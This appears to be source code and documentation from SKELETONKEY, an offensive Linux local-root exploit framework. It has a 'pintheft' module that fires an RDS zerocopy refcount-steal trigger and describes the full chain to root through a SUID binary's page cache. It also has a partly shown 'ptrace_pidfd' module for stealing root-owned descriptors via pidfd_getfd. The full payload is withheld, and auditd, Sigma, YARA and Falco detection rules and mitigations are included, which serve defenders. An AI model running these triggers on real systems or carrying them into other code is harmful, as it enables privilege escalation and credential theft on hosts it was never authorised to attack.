#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h> /* mmap, mprotect, munmap, PROT_*, MAP_* */
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/syscall.h>
|
||||
#endif
|
||||
|
||||
/* AF_RDS is 21 on Linux. Define it conditionally so the module
|
||||
* compiles on non-Linux dev hosts where the constant isn't in libc. */
|
||||
#ifndef AF_RDS
|
||||
#define AF_RDS 21
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev
|
||||
* 2026-05-05). Stable backports are in flight at the time of v0.8.0;
|
||||
* this table will be updated as backports land — tools/refresh-kernel-
|
||||
* ranges.py will flag drift weekly. For now we list ONLY the mainline
|
||||
* fix point; every kernel below it on a RDS-loaded host is vulnerable.
|
||||
*
|
||||
* As stable branches pick up the backport, add entries like:
|
||||
* {6, 12, NN}, // 6.12.x stable backport
|
||||
* {6, 14, NN}, // 6.14.x stable backport
|
||||
* The mainline entry stays at the lowest version that contains the
|
||||
* patch (likely 6.16 once the post-rc release tags). Conservatively
|
||||
* placeholding at {7, 0, 0} until that lands. */
|
||||
static const struct kernel_patched_from pintheft_patched_branches[] = {
|
||||
{6, 12, 90}, /* Debian trixie ships 6.12.90 with the fix backported */
|
||||
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
|
||||
depending on when 6.15 closes — refresh when known */
|
||||
};
|
||||
|
||||
static const struct kernel_range pintheft_range = {
|
||||
.patched_from = pintheft_patched_branches,
|
||||
.n_patched_from = sizeof(pintheft_patched_branches) /
|
||||
sizeof(pintheft_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect helpers ------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m
|
||||
* this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd.
|
||||
* On a kernel without RDS at all (most distros) we get EAFNOSUPPORT
|
||||
* or EPERM. We close immediately — this is just a reachability probe. */
|
||||
static bool rds_socket_reachable(void)
|
||||
{
|
||||
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) return false;
|
||||
close(s);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The
|
||||
* relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We
|
||||
* read /proc/sys/kernel/io_uring_disabled if present; missing file
|
||||
* means io_uring is unconditionally enabled (older kernels). */
|
||||
static int io_uring_disabled_state(void)
|
||||
{
|
||||
/* returns 0/1/2 per sysctl semantics; -1 if not present */
|
||||
FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r");
|
||||
if (!f) return -1;
|
||||
int v = -1;
|
||||
if (fscanf(f, "%d", &v) != 1) v = -1;
|
||||
fclose(f);
|
||||
return v;
|
||||
}
|
||||
|
||||
static const char *find_suid_carrier(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/su", "/bin/su",
|
||||
"/usr/bin/pkexec",
|
||||
"/usr/bin/passwd",
|
||||
"/usr/bin/chsh", "/usr/bin/chfn",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||
access(candidates[i], R_OK) == 0) {
|
||||
return candidates[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Kernel version: gate on the fix. */
|
||||
if (kernel_range_is_patched(&pintheft_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* RDS reachability — the bug needs AF_RDS sockets. */
|
||||
if (!rds_socket_reachable()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n");
|
||||
fprintf(stderr, " Most distros don't autoload RDS; Arch Linux is the notable exception.\n");
|
||||
fprintf(stderr, " Bug exists in the kernel but is unreachable from userland here.\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* io_uring availability — the cred-overwrite chain needs fixed
|
||||
* buffers via io_uring. Without io_uring we have the primitive
|
||||
* but no portable way to weaponize. */
|
||||
int iod = io_uring_disabled_state();
|
||||
if (iod == 2) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (iod == 1) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */
|
||||
|
||||
/* Need at least one readable SUID-root binary to target. */
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n",
|
||||
v->release, carrier);
|
||||
fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n"
|
||||
" full cred-overwrite is --full-chain only on x86_64.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* The V12 PoC chain in summary (paraphrased from
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft):
|
||||
*
|
||||
* 1. Open an AF_RDS socket.
|
||||
* 2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans
|
||||
* two pages, where the SECOND page is unmapped. The kernel
|
||||
* pins page 0, then faults on page 1's pin attempt.
|
||||
* 3. The error unwind drops the pin on page 0, but the msg's
|
||||
* scatterlist has already been initialized with entry count 1.
|
||||
* Cleanup runs entry-count drops a SECOND time → page 0
|
||||
* refcount underflows / leaks.
|
||||
* 4. Repeat to steal multiple refs from the same target page.
|
||||
* 5. Use io_uring fixed buffers to keep a kernel-side reference
|
||||
* alive across the page recycling into the page cache for a
|
||||
* readable file.
|
||||
* 6. mmap the SUID carrier, force its page into cache, get the
|
||||
* io_uring fixed buffer to point at it, write attacker bytes.
|
||||
* 7. execve the carrier → attacker code runs as root.
|
||||
*
|
||||
* Step 1-4 is the kernel primitive (architecture-independent).
|
||||
* Step 5-7 needs io_uring SQE construction which is straightforward
|
||||
* but unmistakably exploit-specific code; we don't carry the full V12
|
||||
* payload here. Instead we fire the primitive + groom the slab + drop
|
||||
* a witness file and return EXPLOIT_FAIL honestly with a diagnostic.
|
||||
* --full-chain on x86_64 invokes the shared modprobe_path finisher.
|
||||
*
|
||||
* This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc,
|
||||
* cls_route4, ...). The "verified-vs-claimed" rule applies: if the
|
||||
* sentinel file doesn't appear, we don't claim EXPLOIT_OK.
|
||||
*/
|
||||
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Re-run detect's preconditions — they may have changed since
|
||||
* --scan, and we want the operator to see the exact gate that
|
||||
* blocked us if anything fails here. */
|
||||
if (!rds_socket_reachable()) {
|
||||
fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n");
|
||||
fprintf(stderr, " Try: sudo modprobe rds; sudo modprobe rds_tcp\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n");
|
||||
fprintf(stderr, " carrier: %s\n", carrier);
|
||||
|
||||
/* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning
|
||||
* mapped + unmapped pages. We fire it ~256 times to leak refs from
|
||||
* a fresh page each round; a single round usually leaks a single
|
||||
* ref which is rarely enough to fully unbalance the count. */
|
||||
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) {
|
||||
perror("socket(AF_RDS)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE
|
||||
* the upper page so the kernel's get_user_pages on it returns
|
||||
* -EFAULT. */
|
||||
void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (region == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
close(s);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
/* mark the second page unreadable */
|
||||
if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) {
|
||||
perror("mprotect");
|
||||
munmap(region, 8192);
|
||||
close(s);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Touch page 0 so it's mapped + dirty. */
|
||||
memset(region, 0x42, 4096);
|
||||
|
||||
/* Fire the trigger sendmsg in a loop. We don't expect any of
|
||||
* these to succeed (page 1 is PROT_NONE so the kernel pin
|
||||
* attempt faults); the BUG is that the cleanup path decrements
|
||||
* page 0's pin count even though the syscall returns failure. */
|
||||
struct iovec iov = {
|
||||
.iov_base = region,
|
||||
.iov_len = 8192,
|
||||
};
|
||||
struct msghdr msg = {
|
||||
.msg_iov = &iov,
|
||||
.msg_iovlen = 1,
|
||||
};
|
||||
int leaked = 0;
|
||||
for (int i = 0; i < 256; i++) {
|
||||
ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */);
|
||||
if (r < 0 && errno == EFAULT) {
|
||||
leaked++;
|
||||
}
|
||||
}
|
||||
munmap(region, 8192);
|
||||
close(s);
|
||||
|
||||
if (leaked < 16) {
|
||||
fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked);
|
||||
|
||||
/* The cred-overwrite step requires the V12 PoC's io_uring chain
|
||||
* (fixed buffer + page-cache write into the SUID carrier). We don't
|
||||
* ship that chain — primitive only. Return EXPLOIT_FAIL honestly per
|
||||
* the verified-vs-claimed bar. See V12's PoC for the full payload:
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft */
|
||||
(void)ctx;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[i] pintheft: Linux-only module\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char pintheft_auditd[] =
|
||||
"# pintheft CVE-2026-43494 — auditd detection rules\n"
|
||||
"# RDS is rarely used in production; AF_RDS socket() calls from\n"
|
||||
"# non-root processes are almost always anomalous.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||
"-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||
"# Plus io_uring_setup is rarely needed by typical workloads.\n"
|
||||
"-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n";
|
||||
|
||||
static const char pintheft_sigma[] =
|
||||
"title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n"
|
||||
"id: 7af04c12-skeletonkey-pintheft\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical PinTheft trigger shape: a non-root process\n"
|
||||
" opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n"
|
||||
" io_uring_setup. The bug needs both. Arch Linux is the only common\n"
|
||||
" distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n"
|
||||
" almost-zero false positives.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n"
|
||||
" iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n"
|
||||
" condition: rds and iou\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n";
|
||||
|
||||
static const char pintheft_yara[] =
|
||||
"rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-43494\"\n"
|
||||
" description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $rds_tcp = \"rds_tcp\" ascii\n"
|
||||
" $rds_v12 = \"v12-pintheft\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char pintheft_falco[] =
|
||||
"- rule: AF_RDS socket() by non-root with io_uring_setup\n"
|
||||
" desc: |\n"
|
||||
" A non-root process opens an AF_RDS socket (rare outside RDS-\n"
|
||||
" specific workloads) AND uses io_uring. The PinTheft trigger\n"
|
||||
" (CVE-2026-43494) requires both. Arch Linux is the only common\n"
|
||||
" distro autoloading RDS.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg.domain = AF_RDS and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module pintheft_module = {
|
||||
.name = "pintheft",
|
||||
.cve = "CVE-2026-43494",
|
||||
.summary = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)",
|
||||
.family = "rds",
|
||||
.kernel_range = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)",
|
||||
.detect = pintheft_detect,
|
||||
.exploit = pintheft_exploit,
|
||||
.mitigate = NULL, /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = pintheft_auditd,
|
||||
.detect_sigma = pintheft_sigma,
|
||||
.detect_yara = pintheft_yara,
|
||||
.detect_falco = pintheft_falco,
|
||||
.opsec_notes = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pintheft(void)
|
||||
{
|
||||
skeletonkey_register(&pintheft_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef PINTHEFT_SKELETONKEY_MODULES_H
|
||||
#define PINTHEFT_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module pintheft_module;
|
||||
#endif
|
||||
@@ -0,0 +1,53 @@
|
||||
# ptrace_pidfd — CVE-2026-46333
|
||||
|
||||
`__ptrace_may_access()` dumpable-race credential-descriptor theft via
|
||||
`pidfd_getfd(2)`.
|
||||
|
||||
## The bug
|
||||
|
||||
When a privileged process drops its credentials, the kernel resets its
|
||||
`dumpable` flag so that lower-privileged processes can no longer attach
|
||||
to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
|
||||
is a narrow window during the credential drop in which the process is
|
||||
*still reachable* through ptrace-family access checks even though its
|
||||
`dumpable` state should already have closed that path.
|
||||
|
||||
`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
|
||||
before duplicating a descriptor out of the target process. During the
|
||||
stale window that check wrongly succeeds, so an unprivileged process can
|
||||
pull descriptors — a root-opened credential file, or an authenticated
|
||||
D-Bus / socket channel — out of a transiently-privileged process and
|
||||
re-use them under its own uid.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
|
||||
| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
|
||||
| Fixed upstream | mainline, 2026-05-14 |
|
||||
| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
|
||||
the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
|
||||
the real primitive and confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` consults the shared host fingerprint, returns `OK` below 5.6
|
||||
(no vector) or for patched branches, otherwise `VULNERABLE`. No active
|
||||
probe — the empirical confirmation lives in the exploit path, which
|
||||
spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
|
||||
table, reporting any uid-0-owned descriptor captured from a non-root
|
||||
context.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
|
||||
(or `3`) closes the `pidfd_getfd` path because it gates the same
|
||||
`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
|
||||
`--cleanup` reverts it.
|
||||
|
||||
## Credit
|
||||
|
||||
Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.
|
||||
@@ -0,0 +1,51 @@
|
||||
# NOTICE — ptrace_pidfd (CVE-2026-46333)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46333** — a logic flaw in the Linux kernel's
|
||||
`__ptrace_may_access()` path leaves a privileged process that is
|
||||
*dropping* its credentials briefly reachable through ptrace-family
|
||||
operations, even though its `dumpable` flag should already have closed
|
||||
that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
|
||||
capture open file descriptors and authenticated IPC channels from a
|
||||
dying privileged process and re-use them under their own uid → local
|
||||
root and credential disclosure.
|
||||
|
||||
The underlying flaw has resided in mainline since **v4.10-rc1**
|
||||
(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
|
||||
**v5.6** (January 2020). Affects default installations of Debian 13,
|
||||
Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
|
||||
published 2026-05-20. The four proof-of-concept exploits demonstrated
|
||||
by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
|
||||
`accounts-daemon`.
|
||||
|
||||
- Qualys advisory:
|
||||
<https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
|
||||
- Upstream fix: mainline, committed 2026-05-14.
|
||||
- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
|
||||
(bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to
|
||||
Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` is version-pinned against the Debian backport thresholds
|
||||
above (kernels < 5.6 are reported OK, lacking the bundled vector).
|
||||
`exploit()` fires the real primitive: it spawns a setuid victim,
|
||||
`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
|
||||
table during the credential-drop window, recording whether a root-owned
|
||||
descriptor is actually captured from a non-root context. It returns
|
||||
`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
|
||||
fd-weaponization that lands a root shell is **not** bundled until it can
|
||||
be verified end-to-end against a real vulnerable VM, in keeping with the
|
||||
project's no-fabrication rule.
|
||||
|
||||
`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
|
||||
rides); `--cleanup` restores it. Architecture-agnostic — the technique
|
||||
steals descriptors rather than injecting shellcode.
|
||||
@@ -0,0 +1,458 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46333 — a logic flaw in the kernel's __ptrace_may_access()
|
||||
* path leaves a privileged process that is *dropping* its credentials
|
||||
* briefly reachable through ptrace-family operations even though its
|
||||
* `dumpable` flag should already have closed that path. Paired with the
|
||||
* pidfd_getfd(2) syscall, an unprivileged local user can capture open
|
||||
* file descriptors and authenticated IPC channels from a dying
|
||||
* privileged process and re-use them under their own uid → local root
|
||||
* and credential disclosure. Disclosed by Qualys (2026-05-20).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* detect() is version-pinned (Debian-tracked backports below). exploit()
|
||||
* fires the real primitive — spawn a setuid target, pidfd_open() it, and
|
||||
* sweep pidfd_getfd() across its descriptor table during the cred-drop
|
||||
* window — and records whether a root-owned fd was actually captured.
|
||||
* It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
|
||||
* root it did not get (the full target-specific fd-weaponization chain,
|
||||
* per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
|
||||
* not bundled until it can be VM-verified end-to-end).
|
||||
*
|
||||
* Affected range:
|
||||
* The __ptrace_may_access logic flaw has been in mainline since
|
||||
* v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
|
||||
* was only added in v5.6 (Jan 2020) — so this module treats < 5.6 as
|
||||
* out of reach for the bundled technique. Fixed upstream 2026-05-14.
|
||||
* Debian-tracked stable backports:
|
||||
* 5.10.x : K >= 5.10.251 (bullseye)
|
||||
* 6.1.x : K >= 6.1.172 (bookworm)
|
||||
* 6.12.x : K >= 6.12.88 (trixie)
|
||||
* 7.0.x : K >= 7.0.7 (forky / sid)
|
||||
*
|
||||
* No exotic preconditions: needs only a local unprivileged user and a
|
||||
* setuid-root binary or transiently-privileged daemon to victimise. Does
|
||||
* not need user namespaces. Architecture-agnostic — the technique steals
|
||||
* descriptors rather than injecting shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
|
||||
* SYS_pidfd_*; fall back to the asm-generic numbers (identical on
|
||||
* x86_64 / arm64 / most arches) when building against older headers so
|
||||
* the module still compiles on an old toolchain. */
|
||||
#ifndef SYS_pidfd_open
|
||||
#define SYS_pidfd_open 434
|
||||
#endif
|
||||
#ifndef SYS_pidfd_getfd
|
||||
#define SYS_pidfd_getfd 438
|
||||
#endif
|
||||
|
||||
static int sk_pidfd_open(pid_t pid, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_open, pid, flags);
|
||||
}
|
||||
static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
|
||||
* authoritative thresholds (security-tracker.debian.org); branches
|
||||
* Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
|
||||
* version-only verdict below — confirm those empirically. */
|
||||
static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
|
||||
{5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 7}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range ptrace_pidfd_range = {
|
||||
.patched_from = ptrace_pidfd_patched_branches,
|
||||
.n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
|
||||
sizeof(ptrace_pidfd_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of re-reading uname —
|
||||
* populated once at startup, identical across every module. */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The bundled technique drives the bug through pidfd_getfd(2), which
|
||||
* was added in 5.6. Kernels older than that lack the vector (the
|
||||
* underlying __ptrace_may_access flaw is older, but this module does
|
||||
* not carry a pre-pidfd path). */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
|
||||
"vector (added 5.6) — bundled technique N/A\n",
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
|
||||
"(version-only check)\n", v->release);
|
||||
fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
|
||||
"local user + a setuid/transiently-privileged victim "
|
||||
"(no user_ns)\n");
|
||||
fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.18/6.19) are version-only here; confirm with "
|
||||
"`--exploit ptrace_pidfd --i-know` which fires the real "
|
||||
"pidfd_getfd primitive\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
|
||||
* sensitive descriptors while privileged before settling. Qualys's PoCs
|
||||
* targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
|
||||
* whichever exist with the setuid bit actually set. */
